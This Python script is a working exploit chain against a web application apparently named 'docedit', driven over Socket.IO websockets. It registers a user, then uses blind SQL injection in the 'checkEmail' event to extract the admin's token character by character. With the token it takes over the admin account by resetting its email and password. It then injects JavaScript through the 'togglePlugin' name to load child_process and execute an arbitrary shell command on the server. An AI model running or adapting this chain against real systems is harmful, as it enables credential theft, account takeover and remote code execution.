import random
import requests
import re
import websockets
import asyncio

def getSid(url):
    newUrl = url + '/socket.io/?EIO=3&transport=polling&t=PBNk2-7'
    s = requests.get(newUrl)
    match = re.search(r'sid":"(.*?)","upgra', s.text, re.DOTALL)
    sid = match.group().replace('sid":"', '').replace('","upgra','').strip()
    newUrl = url + f'/socket.io/?EIO=3&transport=polling&t=PBNk31Z&sid={sid}'
    s = requests.get(newUrl)
    return sid

async def register(url, sid, uname, cmd):
    headers = {'Cookie:' : f'io={sid}'}
    wsUrl = url.replace('http://', 'ws://').replace('https://', 'wss://') + f'/socket.io/?EIO=3&transport=websocket&sid={sid}'
    async with websockets.connect(wsUrl, extra_headers=headers) as websocket:
        await websocket.send('2probe')
        response = await websocket.recv()
        await websocket.send('5')
        await websocket.send('42["getRegister"]')
        response = await websocket.recv()
        await websocket.send(f'42["postRegister",{{"firstName":"{uname}","lastName":"{uname}","email":"{uname}@test.loc","password1":"sample","password2":"sample"}}]')
        response = await websocket.recv()
        if '"type":"success"' in response:
            user = uname
            print(f"Registered user {user}@test.loc:sample")
            await websocket.send(f'42["postLogin",{{"email":"{uname}@test.loc","password":"sample"}}]')
            response = await websocket.recv()
            match = re.search(r'"token":"(.*?)"}]', response, re.DOTALL)
            token = match.group().replace('"token":"', '').replace('"}]','').strip()
            print(f"User {user}@test.loc has token {token}")
            a = 0
            b = 1
            while a < float('inf'):
                payload = f'42["checkEmail",{{"token":"{token}","email":"hmm\\' OR (length((select token from AuthTokens where UserId = 1 limit 0,1))) = {a} #-- -"}}]'
                await websocket.send(payload)
                response = await websocket.recv()
                if 'emailFound",true' in response:
                    length = a
                    break
                a += 1
            print(f"Length is {length}")
            asciiToken = []
            while b <= length - 1:
                i = 33
                while i < 127:
                    payload = f'42["checkEmail",{{"token":"{token}","email":"admin%\\' AND (ascii(substr((select token from AuthTokens where UserId = 1 limit 0,1) ,{b},1))) = {i} #-- -"}}]'
                    await websocket.send(payload)
                    response = await websocket.recv()
                    await websocket.send(payload)
                    response = await websocket.recv()
                    if 'emailFound",true' in response:
                        print(payload)
                        print(response)
                        asciiToken.append(i)
                        b += 1
                        break
                    i += 1
            print(f'asciiToken {asciiToken}')
            token = ''.join(chr(i) for i in asciiToken)
            print(f'Admin token is {token}')
            message = await asyncio.wait_for(websocket.recv(), 3) # doing it cuz next request returns response of previous one
            payload = f'42["updateProfile",{{"firstName":"admin","lastName":"admin","email":"[email protected]","password1":"adminka","password2":"adminka","token":"{token}"}}]'
            await websocket.send(payload)
            response = await websocket.recv()
            print(f"response for admin {response}")
            if '"type":"success"' in response:
                print("Admin account details are [email protected]:adminka")
                payload = f'42["togglePlugin",{{"name":"chat_ws\\')];(function(){{localLoad=global.process.mainModule.constructor._load;sh=localLoad(\\'child_\\'+\\'process\\').exec(\\'{cmd}\\')}}())//","enable":true,"token":"{token}"}}]'
                await websocket.send(payload)
                response = await websocket.recv()
                if '"type":"success"' in response:
                    print(f"Command {cmd} successfully executed!")
    return asciiToken  

if __name__ == "__main__":
    print("Important note, turns out sequence is important when sending websocket requests")
    s = requests.Session()
    uname = 'sample' + str(random.randint(1000000,9999999))
    url = '<http://docedit>' #use IP address
    sid = getSid(url)
    cmd = 'touch /tmp/aaaaa.txt' #Any command you want, execution is blind
    asciiToken = asyncio.run(register(url, sid, uname, cmd))